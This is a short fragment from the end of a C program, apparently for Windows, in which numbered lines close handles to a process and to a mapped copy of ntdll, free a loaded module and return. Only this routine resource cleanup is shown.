| // Close the handles and free the loaded module 62 | CloseHandle(process); 63 | CloseHandle(ntdllFile); 64 | CloseHandle(ntdllMapping); 65 | FreeLibrary(ntdllModule); 66 | 67 | return 0; 68 | } 69 | --------------------------------------------------------------------------------